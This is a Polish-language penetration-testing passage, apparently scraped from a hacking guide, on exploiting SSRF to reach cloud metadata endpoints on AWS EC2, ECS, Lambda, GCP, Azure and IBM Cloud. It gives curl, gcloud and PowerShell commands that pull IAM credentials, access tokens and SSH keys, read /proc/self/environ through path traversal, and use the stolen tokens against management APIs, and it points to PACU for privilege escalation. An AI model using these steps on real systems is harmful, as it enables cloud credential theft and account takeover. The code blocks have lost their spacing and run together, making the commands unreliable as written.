Metadane można uzyskać z dowolnej maszyny EC2 i oferują interesujące informacje na jej temat. Można uzyskać do nich dostęp pod adresem URL: http://169.254.169.254 (informacje o metadanych tutaj).
Istnieją 2 wersje punktu końcowego metadanych. Pierwsza pozwala na dostęp do punktu końcowego za pomocą żądań GET (więc każde SSRF może to wykorzystać). Dla wersji 2, IMDSv2, musisz poprosić o token wysyłając żądanie PUT z nagłówkiem HTTP, a następnie użyć tego tokenu do uzyskania dostępu do metadanych za pomocą innego nagłówka HTTP (więc jest to trudniejsze do wykorzystania z SSRF).
Zauważ, że jeśli instancja EC2 wymusza IMDSv2, zgodnie z dokumentacją, odpowiedź na żądanie PUT będzie miała limit skoku równy 1, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
Co więcej, IMDSv2 zablokuje również żądania pobrania tokenu, które zawierają nagłówek X-Forwarded-For. Ma to na celu zapobieżenie możliwości dostępu do niego przez źle skonfigurowane serwery proxy odwrócone.
Zauważ aws_session_token, jest to niezbędne do działania profilu.
PACU można użyć z odkrytymi poświadczeniami, aby dowiedzieć się o Twoich uprawnieniach i spróbować eskalować uprawnienia
SSRF w poświadczeniach AWS ECS (usługa kontenerowa)
ECS, to logiczna grupa instancji EC2, na których można uruchomić aplikację, nie musząc skalować własnej infrastruktury zarządzania klastrami, ponieważ ECS zarządza tym dla Ciebie. Jeśli uda Ci się skompromitować usługę działającą w ECS, punkty końcowe metadanych się zmieniają.
Jeśli uzyskasz dostęp do http://169.254.170.2/v2/credentials/<GUID> znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz znaleźć <GUID>. Aby znaleźć <GUID>, musisz odczytać zmienną environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI wewnątrz maszyny.
Możesz to odczytać wykorzystując Path Traversal do file:///proc/self/environ
Wspomniany adres http powinien dać Ci AccessKey, SecretKey i token.
Należy pamiętać, że w niektórych przypadkach będzie można uzyskać dostęp do instancji metadanych EC2 z kontenera (sprawdź wcześniej wspomniane ograniczenia czasowe IMDSv2). W tych scenariuszach z kontenera można uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
SSRF dla AWS Lambda
W tym przypadku poświadczenia są przechowywane w zmiennych środowiskowych. Aby uzyskać do nich dostęp, należy uzyskać dostęp do czegoś w stylu file:///proc/self/environ.
Nazwy interesujących zmiennych środowiskowych to:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Ponadto, oprócz poświadczeń IAM, funkcje Lambda mają również dane zdarzenia przekazywane do funkcji podczas jej uruchamiania. Te dane są udostępniane funkcji za pośrednictwem interfejsu uruchomieniowego i mogą zawierać wrażliwe informacje (np. wewnątrz stageVariables). W przeciwieństwie do poświadczeń IAM, te dane są dostępne za pomocą standardowego SSRF pod adresem http://localhost:9001/2018-06-01/runtime/invocation/next.
Należy pamiętać, że poświadczenia lambdy znajdują się w zmiennych środowiskowych. Dlatego jeśli ślad stosu kodu lambdy drukuje zmienne środowiskowe, możliwe jest wydostanie ich, wywołując błąd w aplikacji.
Aby użyć wyciekanego tokenu konta usługi, po prostu wykonaj:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Należy pamiętać, że w IBM domyślnie metadane są wyłączone, więc istnieje możliwość, że nie będziesz mógł uzyskać do nich dostępu, nawet jeśli znajdujesz się wewnątrz wirtualnej maszyny w chmurze IBM.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Dokumentacja dla różnych platform dotyczących usług metadanych jest przedstawiona poniżej, z zaznaczeniem metod dostępu do konfiguracji i informacji o czasie wykonania instancji. Każda platforma oferuje unikalne punkty końcowe do dostępu do swoich usług metadanych.